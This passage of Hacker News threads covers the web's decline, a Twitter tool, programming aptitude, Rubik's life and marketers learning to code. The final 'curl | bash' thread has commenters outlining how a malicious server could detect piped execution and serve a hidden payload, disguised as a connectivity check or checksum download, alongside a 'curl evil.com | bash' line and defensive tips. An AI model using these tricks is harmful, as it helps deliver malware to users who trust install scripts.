We may not be uses 'other things' less, rather, FB is a new experience that is taking up addition time allocated to the web.

So - we had 'the web' \- now we have 'the web + FB web'.

But great article, thanks for that.

</comment><comment><USER80> The web isn't dying. The web isn't going to die. The day to day, month to month, or even year to year web trends are not indicative of the future of the web.

The irony here is that if anything were going to kill the web, it would be stupid articles like this one. Thankfully, the internet is bigger than all of the short-sighted johnny-come-latelys in the world.

Frankly, if you weren't using the web before CSS, then you shouldn't be wasting people's time with your predictions.

</comment><comment><USER81> "Amplified Mobile Pages"?

<comment><USER82> Wrong post ? [https://news.ycombinator.com/item?id=15583552](https://news.ycombinator.com/item?id=15583552)

</comment></comment><comment><USER77> > This specific part (that dominant companies can ban individuals with no > recourse) shouldn't be tolerated.

Freedom shouldn't be tolerated, really? We should force private companies in the private market to serve you because why?

<comment><USER83> Freedom for 800-ton corporate gorillas shouldn't be privileged over the freedom of the average individual. And the word "freedom" is empty sloganeering if you pretend it's separate from power.

<comment><USER77> Not offering you their services isn't restricting your freedom. Your freedoms don't include a right to other people's services against their will.

<comment><USER84> > Not offering you their services isn't restricting your freedom.

It is if you have a monopoly.

>Your freedoms don't include a right to other people's services against their will.

They do if you have a monopoly.

<comment><USER77> They don't have monopolies so your counter is irrelevant.

<comment><USER85> But what if they do in the future? Suppose the author is right and ISPs don't support any packets/protocols other than FB, GOOG, and AMZN.

Are you arguing that in sum total, humanity is better off allowing private organizations to control communications in order to adhere to free market principles than the reverse?

<comment><USER77> No, I'm arguing future crime isn't a thing. You don't get to punish people because they "might".

</comment></comment></comment></comment></comment></comment></comment><comment><USER86> An essay about how the web is dying that leads with a click-bait title? Is this satire?

</comment><comment><USER87> Hellooooo hyperbole.

Until all peering agreements become null and void, you can always create another ISP to compete in a free market. Sure, it's expensive and complicated to bury fiber, and radio spectrum is limited. But it's not technical or logistical difficulty that keeps people restricted to specific providers. It's usually political, and incumbents always have a huge upper hand.

The reason OSPs like AOL became so ubiquitous in the 90s was _they made everything easier_ , and people were willing to pay for that, even if it effectively locked you into a 'smaller internet'. It still provided you internet access because that by itself was still a value-add. Will ISPs & OSPs charge you differently to access different content? Of course, because they know their customers don't give a shit about some romantic vision of unrestricted peering agreements.

There's one big elephant in the room that nobody talks about in discussions like this: Content. Whoever controls the Content gets to swing a multi-Billion dollar dick around, and they keep a hundred-Billion dollar advertising dick on a leash. Most people are obsessed with media & entertainment, a 700-Billion dollar industry, and the rest is cat memes and bargain bin chinese vacuum cleaners.

The leading lights of the web barely break the budget of a fraction of M&E. They are constantly dogging at each other because the web industry knows that without content, they have no leverage. Which is why Amazon & Netflix make their own content (though a very small amount, and not very valuable). If Google lost its advertising catbird seat, it would die screaming (almost all of its money comes from ads). And you can't sell ads if you can't get access to eyeballs or earholes.

</comment><comment><USER88> I'd like submissions with clickbait headlines to get deleted instantly.

If your post needs clickbaity embellishments it's probably not worth my time to read it, if it doesn't need any, the post should be able to reach frontpage without them.</comment>


Show HN: Twitter threads to Markdown using the Twitter v2 API - <AUTHOR> https://the.rip/@astralwave-1293092163056816130-1284546444796412000 <comment><AUTHOR> Opening the garage door:

I built this over 2 days, Friday night and Saturday. Thanks to the new search endpoint in the v2 Twitter API, I was able to go from concept to launch really quickly. I _definitely_ wouldn't have been able to build so quickly on pre-v2 APIs (and the user experience would've been wayy more janky).

Lots of positive feedback so far on Twitter, thanks to the #RoamCult: [https://twitter.com/benzguo/status/1294832715049517058](https://twitter.com/benzguo/status/1294832715049517058)

I'm thinking about monetizing with a "top up credits" / pay-as-you-go pricing model. Would love advice from the HN crowd :)</comment>


Ask HN: How do I know if I have what it takes? - <AUTHOR>

I've just been reading the following by Jeff Atwood:
http://www.codinghorror.com/blog/2007/01/how-to-become-a-better-programmer-by-not-programming.html
There's a general theme amongst programmers where you either have what it takes or you don't. The problem is, how do I know if I have what it takes?
I really hate the phrase "you either have it or you don't" when relating to anything. In a lot of cases, it's probably true right now but I really can't bring myself to accept that it'll always be the case for things I set my mind on, especially for things I enjoy doing.
When people mention it, it's always as if they're talking from a "I have what it takes perspective" too. Without reading their code, which most do not have available, it's also hard to tell if they can say those things with such authority.
I know there isn't a clear-cut test for it but I'm just wondering if there's any way to determine?
It doesn't matter too much. If it turns out I don't have what it takes to be a good programmer, I fully believe it's something that can be changed. <comment><USER2> Try not to worry about it. Because seriously, no matter how good you are, there will always be room to doubt yourself. Software development is full of people who will always be available close at hand to make you feel like you're not good enough. You'll never be good enough. People even tell Rob Pike he's doing it wrong, all the time.

Focus on getting things done, and keeping an open mind, and learning. And try not to let the possible negative vibes get you down.

<comment><USER2> Something I posted on this thread which is related: <http://news.ycombinator.com/item?id=4712392>

Incidentally, feeling like it's too hard for you and that you're not smart enough just goes with the territory. Also try to ignore the temptation to feel like it is all very easy for everyone else. I find that the feeling of failure is often its worst right before I make a breakthrough. After about the fifth time of thinking this is too hard for me, I can't do it, then doing it, I realized this is a pattern for me and learned to ignore the feeling of it being too hard.

</comment></comment><comment><USER3> I like to view "You either have it or you don't" as "You're either motivated enough to pour enough time into it or not".

Everyone can be a hugely successful rock star, programmer or writer but most of the times they're not willing to put the hours in.

The only way to determine if you "have what it takes" (it really is an awful phrase) is to keep trying and see if it sticks. Or to use another overused phrase, "fake it till you make it". This again applies to almost everything, not just programming.

</comment><comment><USER4> I think this applies to many technical fields, but what I find is this. Those who "have what it takes" are just those who are motivated and creative. Everything else falls into place if you know how to get around a problem(fix, troubleshoot, bypass). IMO, that is what makes someone special.

The alternative is to just give up, or say "well, you can't do that", or "those things never work".Negativity, lack of motivation and lack of creativity (which is what really drives the negativity) is what makes someone "Not have it." This applies to life in general.</comment>


The perplexing life of Ernő Rubik (1986) - <AUTHOR> http://fei.edu.br/~rbianchi/daia/celula/cubo/rubik_magic_cube.txt <comment><USER2> I remember those quite dark times in Hungary, I was a small boy in school and one couldn't travel without complicated paperwork and the option of refusals to the West - and we got permission to buy foreign money only once per three years, so that was quite limiting. In those times Rubik was a huge inspiration, even for me. Parents were telling their children in that era of hopelessness and contra selection that "if you are smart like Rubik, you can also achieve things when you grow up".

I vaguely remember an interview with him in the late 80's, I think he said that he made the cube because he was outraged by the lack of 3D vision of his students.

The "Oliver Twisting" remark is quite funny, actually.

</comment><comment><USER3> Ernö was a professor of mine in an international School in Hungary when I was there for study abroad. He was one of the most insightful people I have ever met and lessons learned from my conversations with him - about perspective, emotion and complexity - still reverberate in my head daily.

<comment><USER4> Any anecdotes you can recall?

<comment><USER3> To answer a sibling. Yes, this was at AIT. One of the moments I remember most vividly was the first project review we were doing. The task was to fold hard construction paper into an object. I was starting work on a human face and had completed just the eye.

After taking a few seconds to roll it over in his hands, he handed it back to me and said, "what is it?" I said, "It's a human eye." He responded, "It is not shaped like an eye, it is not colored like an eye, it does not look like an eye." I was very disappointed.

Looking back on it years later, that conversation taught me a valuable lesson. Metaphors are built up of tiny little pieces that all come together to form a complete picture. If one of those pieces is off or missing, it's like missing letters from a wrd (word). At a certain point the wd (word) just breaks down until it's not even recognizable as a w (word) anymore...

The same goes for design. The eye I had made definitely resembled an eye. It had an iris and it was as round as I could make it. But the illusion of the eye was lost on the viewer and at best it looked like eye-shaped paper. That was the point he was making and my future work suffered until I realized that it wasn't the outcome I should be focusing on. Instead, I should reflect on the individual pieces that make up an experience in order for it to match the user's expectations.

</comment></comment></comment><comment><USER5> "It also violated the toy industry's standards: it didn't talk, whistle, cry, shoot, change clothes, appear in a movie, or require batteries."

And it absolutely will not stop, EVER, until you are dead.

<comment><USER6> *if properly lubricated

</comment></comment><comment><USER7> > Mathematicians vied to find the shortest method of unscrambling, which > became known as God's algorithm. There's speculation that an all-knowing > being could restore any Cube in 22 moves, but the shortest method discovered > so far requires 52. It was found by a British mathematician named Morwen B. > Thistlewaite.

In 2010 it was finally proven that 20 moves is enough to solve any possible Rubik's cube ordering, and that it can be no lower.

<comment><USER8> That's super interesting. Do you have a source?

<comment><USER9> God's number is 20: [http://www.cube20.org/](http://www.cube20.org/)

They pruned a bunch and then did brute force evaluation of the remaining "hard" positions. It seems strange that there hasn't been a more elegant approach to proving this. An interesting (if obvious) corollary to this result is that the maximum moves between _any_ two Rubik's configurations is 20.

The relevant HN thread at that time: [https://news.ycombinator.com/item?id=1587340](https://news.ycombinator.com/item?id=1587340)

<comment><USER10> In combinatorics counting is always the best strategy. People are usually not good in counting, computers are better fit. So no surprise.

</comment></comment></comment></comment><comment><USER11> This would make a really good movie ;) Hungarian language complexity and propensity for 3D thinking are world renown.

The Atomic bomb Considered as Hungarian High School Science Fair Project

[http://slatestarcodex.com/2017/05/26/the-atomic-bomb- conside...](http://slatestarcodex.com/2017/05/26/the-atomic-bomb-considered- as-hungarian-high-school-science-fair-project/)

Denis Gabor's Nobel Lecture On Holography, 1971

[https://www.nobelprize.org/nobel_prizes/physics/laureates/19...](https://www.nobelprize.org/nobel_prizes/physics/laureates/1971/gabor- lecture.pdf)

<comment><USER12> >Hungarian language complexity and propensity for 3D thinking are world renown

Could you elaborate on this or provide a link? I've never heard about it before.

<comment><USER13> The language is probably in the top 3 for hardest to learn. Not sure of the 3D stuff.

<comment><USER14> Isn't this because it's so different from anything else?

You can sort of divine some German if you're an English speaker and some Italian if you also understand Spanish, etc. But hey, Japanese is highly regular and also very hard to learn.

(I did play with Duolingo Hungarian for a while, and it seems interestingly regular, although not in ways you might expect)

<comment><USER13> Only partly...it has lots of suffixes and prefixes for pretty much everything too. They says it's nearly impossible for a foreigner to learn (of course not true).

</comment></comment></comment></comment></comment><comment><USER15> In 2009 our 9th grade geometry teacher had us all learn to solve Rubiks' cube for a semester project. Never knew the story of the inventor thlugh, pretty cool.

</comment><comment><USER16> > By 1982 the craze was over and the toy's Hungarian manufacturer was going > bust — quite a feat when you consider that probably more than 100 million > Cubes were sold worldwide. But that was precisely the problem: a centrally > planned economy isn't accustomed to dealing with consumer crazes. A Budapest > writer, Mezei Andras, has written a book and a play called The Hungarian > Cube chronicling the debacle. It started when the officials at the small > manufacturing cooperative, _Politech nika_ , insisted on trying to expand > their operations to meet the burgeoning demand instead of farming out work > to other factories.

> "The company took a loan from the government," Andras told me, "but they had > to wait nine or ten months for it to be approved by all the proper > committees. Then it took them six months to order and receive the > manufacturing equipment they needed. By that time the craze was finished, so > the company had a large debt and no popular product, and the state had to > save it from going bankrupt."

There's a lesson in that episode, which applies both to government and large corporations — it's a good part of why startups have such an economic advantage: they can pivot at the drop of a hat, relatively speaking.

<comment><USER17> I think it applies to startups too.

</comment></comment><comment><USER18> "By an odd coincidence, at least two other people were independently inspired at about the same time"

I wasn't aware that there had been other cubes ( at least 1 using the same mechanism) invented independently, but this is a very common phenomenon. For example, calculus was independently invented by (at least) Newton and Leibniz.

What's behind this phenomenon ? How is that different people, without communicated and in times gone by without any obvious common influences, imagine and invent the same concepts within the same timeframe ?

<comment><USER19> As a kid I enjoyed the Rubik snake which I could contort into interesting patterns. My brother who was a few years older had a few other cubes, such as some with many more angled faces etc.

As for cooperative invention, it would seem that humans are not as unique as we think we are. In exactly the same way we have doppelgangers that look like we do, we also have people that overlap with us in behaviour, personality and ideas. Side by side invention is just one facet of that.</comment></comment>


Why Marketing and BD Professionals Should Learn to Code - <AUTHOR> http://www.giftrocket.com/why-marketing-bd-should-learn-to-code

<comment><USER2> Perhaps this is self-serving, but I completely agree. If you plan to be in the software business, it pays to know a little bit of what your business is built on.

The best way to learn how to code is to pick a small project, build it and deploy. With app stores galore (Google Chrome, Apple, Android) there are plenty of interesting opportunities for small applications to get your feet wet. I wouldn't worry about making the next big thing. Pick something fun and ship it.

I personally would start with a scripting language and build some cool games with it. I personally would recommend starting with Lua and using Corona (<http://www.anscamobile.com/corona/>) to get started. This will give you an application that is easy to build and deploy across multiple platforms.

</comment><comment><USER3> I agree with most of this. I work in marketing and knowing Excel better than most (hardly coding I know) and a little bit of VBA and I get a lot of efficiencies where others can't. I'm now leaning some basic web programming at the moment. It helps open the mind to what can be done which in turn should make me a better marketeer when it comes to making plans. Plus it is good to know if engineers are being asked to do too much or if someone is just work shy... when invariably we ask people to do too much.

On the flip side I think it would be great for the engineers to spend some time in marketing and close up that divide to work better together. Often I see both sides try to keep each other out other their business when much value can be had when marketing gels with engineering.

<comment><USER4> _knowing Excel better than most (hardly coding I know) and a little bit of VBA_

There's no question that spreadsheets are programs, albeit not written in a general-purpose language. Question for you: what do you do in VBA? i.e. in what areas does the spreadsheet alone not suffice?

<comment><AUTHOR> Most of the time it is because the existing functions are inadequate, so people end up adding new ones in VBA. StringConcat, for example, is far more powerful than the regular concatenate function.

<http://www.cpearson.com/excel/stringconcatenation.aspx>

<comment><USER4> When you say "function" you mean something that just does computation, right? As opposed to code that accesses the Excel object model to create interactive effects, like, say, "click this button to change the background color over there"?

How much VBA could be replaced if Excel gave you the ability to make functions just out of spreadsheet cells? That is: build any calculation you like in a spreadsheet, tell Excel "make this calculation be a function called FOO", then use it wherever you want like a normal function: "=FOO(123,A1)" or what have you.

<comment><AUTHOR> Yes on the definition of function. I did also use VBA to make certain visual effects possible (the one I remember was some advanced conditional formatting).

On VBA being replaced-- I don't know. It depends who the users you're talking about are. Most people I worked with didn't know any VBA because our models weren't that complicated. I in particular was working on a project that was computationally heavy.

<comment><USER4> Can you describe the computationally heavy spreadsheets you made? How many cells, how many distinct formulas (i.e. distinct except for relative references), how many worksheets, how long it took to recalculate? Were you pushing any limits of Excel? Were there annoyances?

(My email's in my profile if you'd rather discuss it offline.)

</comment></comment></comment></comment></comment></comment><comment><USER5> I think knowing how to code helps marketing more than just scripting.

When drafting contracts I apply the DRY principle, modularize sections, and focus on clarity and meaningful names for section headings.

When planning strategy I look at the whole structure of the market, which required analytical thinking not unlike system architecture.

Moreover most of the high powered marketing is distribution which is almost all code these days.

Engineering + marketing = big money.

<comment><USER6> I agree w everything you wrote above, but I lack the tech knowledge to understand the following comparison: "high powered marketing is distribution which is almost all code these days"

Would appreciate it if you further clarified. Thanks!

<comment><USER5> Things like Google Apps Marketplace, the App Store, Intuit Anywhere, the Windows Store are all technical. Negotiating with then requires knowledge to maximize the opportunities.

They are a subclass of the wider deal. The Internet is the main distributor. If you look at YouTube's growth it wasn't just that they hosted videos but they found a way to use flash to embed videos on other people's sites.

The Facebook Like buttons are another example of using technology as a primary form of market expansion.

</comment></comment></comment><comment><USER7> This blog entry makes me want to write a similar entry: "Why coders should try their hand at marketing and BD." The subtitle would be "A real life lesson in understanding your customer base."

</comment><comment><USER8> Good stuff, I particularly like #6. As marketer, knowing some programming has come in handy when working with technical folks who occasionally come down with a case of tunnel vision.

I would also add:

\- Agency Management - Whether its calling your agency on BS or knowing how to use firebug to quickly diagnose a site problem, it definitely has saved me. (Recently I called a disgruntled web designer out about not using font-face and he has been much easier to get along with since)

\- A focused approach - Since I have started to learn programming I noticed that I apply programming principles to (rather mundane) tasks that take up a lot of time but often go overlooked. For example, when programming and creating variable names I make them as specific as possible, so if someone else was working on my code they would know exactly what it is. A simple concept to most people on HN but its something often overlooked by non- programmers. Open up an excel file from marketing person and you will often be left scratching your head.

As for tools for learning to code, recently I have seen lots of places talk about codecademy, but most leave out CodeSchool.com. Definitely recommended - it's been a been a huge help for me and gotten me to the point where I am ready to take it to the next level (hopefully @ Hungry Academy).

</comment><comment><USER9> I think there's a huge difference between the kind of "coding" being discussed here and the work of an actual software developer. That said, if coding simply means having some familiarity with the concepts of computer programming, then I think it definitely makes sense for those people who are interested to partake!

</comment><comment><USER10> For DBA's should be a must, for automation purposes, backups, custom reports, etc, etc...

And for Marketing it's just kind of scary... some of those guys start by saying: "I know how to program and that feature could be ready in a day or a couple of hours"

<comment><USER11> I work in marketing->e-commerce and I think it's a great idea to learn to "program". By no means am I a good developer, but I have played enough with Rails and PHP and deployed a couple of simple apps to production environments and I feel like I know enough to understand how to put together a coherent business requirements document.

I think if not programming, at least process modeling or class diagrams should be learned.

<comment><USER10> > I think it's a great idea to learn to "program".

Believed or not I'm completely agree with you, learn to program will definitely improve the way you work.

But sometimes, some guys with little involvement in a project that know "how to program" cause more damage than good.

</comment></comment></comment><comment><USER12> The marketing people I know would make terrible programmers. It's an issue of attitude.

<comment><USER13> Isn't the idea to be a minimally-functional programmer, rather than an awesome one?

<comment><USER12> I ve had a product manager guy trying to do that. Didn't help; his ideas were mostly irrelevant. The problem is he grew an attitude and tried to interfere with my work.

I generally hate analogies, but it's like a real estate agent trying to work with architects.

</comment></comment></comment><comment><USER14> As a "businessperson" that does some light coding on the side for fun (mostly scientific programming), I really appreciate the author's argument.

Unfortunately, it's difficult to find organizations that know how to make the most use out of those skills (outside of the start-up community, and even within the start-up community it's surprisingly rare to find job postings for BD folks that mention relevant/valuable coding skills).

</comment><comment><USER15> Coders should also learn marketing and BD skills.

</comment><comment><USER16> Not being able to code will be, in 10 years, like not being able to parallel park. People will look at you like, "Really?"

<comment><USER17> now, that's total inanity.

<comment><USER16> humbug</comment></comment></comment>


Detecting the use of "curl | bash" server-side - <AUTHOR> https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-bash-server-side/ <comment><USER2> The sleep cleverness is excessive though - what you really want to know is if the script you're returning is being executed as it's sent. If it is, then you can be pretty confident that a human isn't reading it line by line.

1\. Send your response as transfer-encoding: chunked and tcp_nodelay

2\. Send the first command as

        curl www.example.com/$unique_id

Then the server waits before sending the next command - if it gets the ping from the script, we know that whatever is executing the script is running the commands as they're sent, and is therefore unlikely to be read by a human before the next command runs. If it doesn't ping within a second or so, proceed with the innocent payload.

For extra evil deniability, structure your malicious payload as a substring of a plausibly valid sequence of commands - then simply hang the socket partway through. Future investigation will make it look like a network issue.

<comment> Evan-Purkhiser You could even get more clever with this you could drop the unique_id and just match up the remote host IP. You could probably even disguise the command as something like a "network connectivity test" in the script.

        # Check network connectivity so we can continue the install
        if ! curl --fail www.example.com; then exit; fi

Of course, what actually is happening is that we've just informed the server to now serve our malicious code.

<comment><USER2> Remote host IP isn't ideal because of NAT (request from another host on the network exposes your malfeasance), or if your target may be using something like TOR (two requests might have differing remote IPs). But there's a bunch of tricks to get unique info out of a network request that you control the parameters to. Presumably there aren't that many concurrent invocations of your script, so only a few bits of entropy are actually required. Best way is probably to have a bunch of domains and make it look like they're various mirrors you're downloading binaries from - then it's not suspicious that it changes for different machines or requests.

<comment><USER3> If binaries are being downloaded, then the dynamically generated malicious script could pretend it's a checksum when really it's a unique tracking URL.

        curl www.example.com/downloads/fooprogram/builds/D41D8CD98F00B204E9800998ECF8427E.tgz

If the time between the script being downloaded and that file being requested is large, serve the clean copy, else download the malicious binary.

</comment></comment></comment></comment><comment><USER4> On the evading detection side, one other simple way to avoid this is to add sponge[0] between curl and bash in the pipeline, i.e. curl ... | sponge | bash. sponge consumes all input until EOF before outputting anything, stopping bash from executing a partially downloaded script.

[0] [https://linux.die.net/man/1/sponge](https://linux.die.net/man/1/sponge)

<comment><USER5> If you're on a Mac or a system that doesn't have sponge installed by default, use moreutils to install.

[https://joeyh.name/code/moreutils/](https://joeyh.name/code/moreutils/) [https://rentes.github.io/unix/utilities/2015/07/27/moreutils...](https://rentes.github.io/unix/utilities/2015/07/27/moreutils- package/)

<comment><USER6> Thanks, this is helpful!

</comment></comment></comment><comment><USER7> So yes, curl bash can be dangerous. But it's just so darn convenient. And when it's coming from a very prominent trusted source like for Get Pip or Amazon AWS it's hard not to just go with.

Surely there's some compromise middle ground? Let me download "safe-curl-bash" (scb) that only runs a script if it's trusted in some manner? Maybe the checksum matches from a crowdsourced database.

"Sorry only 9 people have declared this script valid and your threshold is 100. Here's a cat of the script and we will ask you if it looks valid or not or don't know."

I also think it's a bit more realistic than the, "anyone who does this should be reading the script first to check that it's safe." Yes, and I check the passenger jet for flaws before I board, too!

Just spitballing.

<comment><USER8> _> Yes, and I check the passenger jet for flaws before I board, too!_

There is an entire infrastructure of people and processes in place to make sure that you _don 't have_ to check your passenger jet for flaws to be reasonably sure it's safe. No such infrastructure exists to protect you from the consequences of curl-bashing software off some random Web site.

<comment><USER9> If you're installing software off _some random website_ then you're already hosed no matter what the install process looks like.

Say you already trust the website you're downloading from, is there an increased security risk doing curl | bash as compared to rpm --import [https://example.com/RPM-GPG-EXAMPLE](https://example.com/RPM-GPG-EXAMPLE) && yum install [https://example.com/example.rpm](https://example.com/example.rpm)

No matter what you're putting 100% faith in the the server and the TLS connection. There are a lot of reasons to prefer packages, but I don't think security is one of them.

<comment><USER3> Security _is_ one of them.

When RPM-GPG-EXAMPLE and example.rpm are both coming from [https://example.com](https://example.com) it's less clear. When example.com is coming from a mirror repository, or being emailed around (yes, this happens), package signing asserts that example.rpm was signed by the signatures in RPM-GPG-EXAMPLE, which has a strong (but not bullet-proof) connection as being built by example.com.

From that example, we can see that package signing also protects from someone who's able to break into the main example.com webserver but not example.com's build system - if the attackers did not get into the build system and example.rpm has a valid signature then despite the webserver being broken, the rpm file can still be trusted, assuming the webserver did not have a copy of the private key used for build signing. If we loaded [https://example.com/RPM- GPG-EXAMPLE](https://example.com/RPM-GPG-EXAMPLE) _before_ the webserver was broken into, and then the webserver was broken into and a malicious RPM-GPG- EXAMPLE and example.rpm were uploaded, it would be noticed. (Examining changes to RPM-GPG-EXAMPLE are, unfortunately, left to the reader as an exercise.)

Still, while it's true that loading the file from [https://example.com/RPM- GPG-EXAMPLE](https://example.com/RPM-GPG-EXAMPLE) relies on TLS, but there are methods available to confirm that the file's contents are valid, that don't rely on TLS, if the security folk at example.com are doing their job.

Finally, TLS is not an all or nothing game. Or rather, the certificate used to sign the https connection does not have to be blindly trusted, and in the case of sketchy root certificates, even if [https://example.com](https://example.com) loads fine in a web browser, it does not mean it should necessarily be trusted. Certificate Transparency (eg crt.sh) is a proper lever when working with example.com.

Security is _complicated_ and there are no silver bullets.

`curl | sudo bash` is batshit though.

</comment></comment></comment></comment><comment><USER10> Neat! But it's not obviously a bad idea. You have a TLS connection with the site you're downloading from. `curl | bash` is no worse than downloading a .dmg or .deb from the same server would be.

<comment><USER11> The difference is that you can inspect it before you run it if you download it. If you pipe it into bash you don't know what you're getting, even if you previously inspected the data provided by that URL.

<comment><USER12> I don't feel the need to review the source code for every install script I run.

I don't read the source code for almost any of the code on my machine today. In most cases where I see `curl | bash`, I'd probably already be screwed even if I review it. Most install scripts and up doing "hit website, install thing" anyways - am I reviewing the second stage install script also?

<comment><USER11> That's fair. It's probably not an _important_ difference.

</comment></comment></comment></comment><comment><USER13> You could just have the script detect that its stdin is a pipe. E.g., Linux specific:

      $ echo 'ls -l /proc/$$/fd/0' | bash
      lr-x</comment><comment> 1 kaz kaz 64 Jul 28 21:03 /proc/23814/fd/0 -> pipe:[4307360]

Here, our script consists of the ls command; it shows that when we pipe it to bash, it finds fd0 to be a pipe.

We can make some code conditional on this to produce a "don't run this script from a pipe" diagnostic.

This is superior to the dodgy, delay-based server side detection because it is reliable.

Also, it still works when someone does this:

      $ curl <url> > file
      $ cat file | bash

Of course, no protection for

      $ bash file

<comment><USER14> This logic would be detectable to a user who reads the script. The goal here is to trick users who first inspect the script and then `curl | bash`

<comment><USER15> If you downloaded the script to inspect it, why would you not just run the script that you downloaded?

<comment><USER16>
        curl evil.com
        curl evil.com | bash

<comment><USER15>
        wget evil.com
        less evil.sh
        bash evil.sh

</comment></comment></comment></comment></comment><comment><USER17> Half the problem with `curl | bash` installation is not related to whether or not you trust what your downloading...

The more important reason why it is a _horrible_ _stupid_ mechanism for software installation is that it is not _repeatable_.

It is well understood that casual .deb .rpm usage requires an equivalent level of trust as downloading anything else off the internet... but they have the added advantage of being _consistent_ _repeatable_ and _mirrorable_... I can copy the entire repository of any version of debian I want to my local file server, and use that to spin up however much infrastructure I want. And the only person I need to rely on after I have fetched the initial packages is myself.

<comment><USER18> Plenty of those scripts simply detect your operating system and then interact with the system package manager (adding a new repository, updating the package index, then asking the package manager to install it).

<comment><USER17> I would far prefer that software projects assumed competence in the installers knowledge of their systems package manager and just listed the specifics... honestly how hard is it to just say "here is our $gpg key" "here is our $apt_repo_url" the package name is "$foobar". And let competent system admins take it from there. Most of the time you end up de-composing the scripts into ansible/$sys_automation_tool_of_the_week anyhow.

<comment><USER19> Because your $apt_repo_url is useless to a yum user.

The package management community needs to stop balkanizing.

How else do you propose releasing software to all Unix-like OSes without learning a half dozen package manager formats and quirks? Only other choice is a container.

</comment></comment></comment></comment><comment><USER20> I wish there was a standard way to check a checksum, so that download instructions could just include that in the snippet to copy paste.

I wrote a tool that could be used like that but it's useless if its not ubiquitous ([https://github.com/mmikulicic/runck](https://github.com/mmikulicic/runck))

<comment><USER21> Since copy-pasting to the terminal is also unsafe[1], it's not really a solution...

At any rate - code-signing doesn't really help if the author is the attacker.

[1] [http://thejh.net/misc/website-terminal-copy- paste](http://thejh.net/misc/website-terminal-copy-paste)

<comment><USER20> Sure, but that's harder to hide. Any user could paste somewhere where nothing gets executed and the expose the hack attempt. Pipe to bash has the interesting aspect of letting the author inject hacks only to people who are not looking.

Anyway, the use case for my runck utility is scripts such as dockefiles or CI automation where I want to download and run installers and I don't want to reduce the bash boilerplate.

</comment></comment></comment><comment><USER22> I always read the code first, but many times there's additional curl > bash and if I check that url there are yet more curl > bash several layers deep with branches. And they want me to run this as root ...

</comment><comment><USER23> Regardless of the installation method it sounds like we need to be running all applications in their own individual virtual machines (e.g. Qubes OS) or within a restricted environment with limited permissions (iOS)

<comment><USER24> How do you install the virtual machine software ? Where do you put the trust ?

<comment><USER25> Worse, what happens when I do want the applications to communicate?

An amusing gotcha I found with docker was how do I convince the servers I communicate with from in the container that I am me? Best bet was to map my user into the user on the container, but that was actually ridiculously fraught with trouble. (There is a chance this has since been fixed...)

<comment><USER26> > I do want the applications to communicate?

QubeOS adopted the "manual authentication" method (of having to confirm everything, such as clipboard copy/paste).

This is probably not quite scalable (not to mention annoying). May be there's some way to have a short session token, so during a work session of a few hours, it works without any intervention.

<comment><USER25> The problem came when I wanted the app to communicate to another on behalf of me. Do I have to constantly reconfigure an openid connection for every app on my machine? (Not the worst of ideas, I suppose...)

</comment></comment></comment></comment></comment><comment><USER27> > a knowledgable user will most likely check the content first

Really? Are they going to read every line of code and every line of code in every dependency that the install script installs?

The bash detection is clever but I think its a solution to a problem that doesn't exist.. Its already very easy to install hide malicious code in plain sight, why go to all this trouble to detect if the user is piping to bash?

For example, see how easy it is to publish a fake npm package or a .deb package:

[https://hackernoon.com/im-harvesting-credit-card-numbers- and...](https://hackernoon.com/im-harvesting-credit-card-numbers-and- passwords-from-your-site-here-s-how-9a8cb347c5b5)

[https://github.com/ChaitanyaHaritash/kimi](https://github.com/ChaitanyaHaritash/kimi)

</comment><comment><USER28> (2016)

Previous discussion: [https://news.ycombinator.com/item?id=11532599](https://news.ycombinator.com/item?id=11532599)

</comment><comment><USER29> This is immune to the attack:

        bash -c "$(curl -sSLf $URL)"

The key is to download first and then run

<comment><USER30> Or better yet:

curl $URL

less $FILE

bash $FILE

This attack only works at all if you download something and execute it immediately without looking at it.

</comment></comment><comment><USER31> The obsession against shell pipes is so absolutely absurd. You'd download a dmg and drag it to your apps but not shell pipe? You'll sudo dpkg -i but not a shell pipe?

Can anyone point to a single case of a shell pipe ever being abused _ever_?

<comment><USER32> If a tree falls in a forest and no one is around to hear it, does it make a sound?

I certain that someone has been exploited using shell pipes.

</comment></comment><comment><USER33> I have proposed a solution to this: have the snippet self-hashed and verify with multiple sources. eg:

A=$(curl -L [https://get.rvm.io);echo](https://get.rvm.io\);echo) "$A" | shasum -a 256 | grep -q 05b6b5f164d4df5aa593f9f925806fc1f48c4517daeeb5da66ee49e8562069e1 && (echo "$A")

</comment><comment><USER34> The main reason to use `curl | bash` is because it's installed almost everywhere. Everything else can be bootstrapped from that.

If there was a standard `curlbash <URL> <SHA256>` program that was installed everywhere it would allow to work around all of these issues.

<comment><USER13> "curl > file ; [...] ; bash file" is also installed in all the same places.

</comment></comment><comment><USER35> What I leaned in addition to the sleep trick:

> _Execution in bash is performed line by line and so the speed that bash can > ingest data is limited by the speed of execution of the script._

So even without any clever detection logic, thinking of curl | bash as "downloading a script, then immediately executing it" is already wrong.

It's more "give this remote host a poor man's shell to my machine and hope that they will always execute the same sequence of commands on it".

</comment><comment><USER36> Recent Chrome Canaries show ERR_CERT_SYMANTEC_LEGACY on this host. Gotta refresh those TSL certificates before September!

</comment><comment><USER24> Let's say for discussion that we allow this curl| bash process because it is from a "safe" source.

How do we come back next week and ensure some other process hasn't changed the files ?

Package your files with a signed system. Auditing the files is trivial after that.

</comment><comment><USER37> I use curl and bash to launch a script I wrote to install my versioned home files, and it is worth to use this method. It depends on what you need, in my use case is really comfortable. It is a matter of trust.

</comment><comment><USER38> You could prevent the detection by wrapping contents in a block, so Bash reads it entirely before evaluating it: `safe_curl() { printf "{\n"; curl "$@"; printf " \n}"; }`

<comment><USER39> Quite a sensible precaution anyway, as network interruption may otherwise leave you with a partially executed script.

</comment></comment><comment><USER40> Erm, why not just configure auditd to detect it instead? Though not sure how widely available that facility is outside of Red Hat.

</comment><comment><USER41> Shall we call this "Curl rebinding" after "DNS rebinding"? :)

</comment><comment><USER42> Why not start with checking the user agent?

<comment><USER43> The idea is to distinguish between "curl [http://x"](http://x") and "curl [http://x](http://x) | bash", in order to only give malicious content when the user pipes it straight to bash (presumably they aren't looking at the content in this case).

<comment><USER42> Ah, of course.

</comment></comment></comment><comment><USER44> Is there no way to sign scripts with a code signing certificate?

I certainly have to do some hoop jumping to execute the equivalent of curl |bash on powershell.

<comment><USER9> (Invoke-WebRequest [https://example.com/install.ps1](https://example.com/install.ps1)).Content | Invoke-Expression</comment></comment>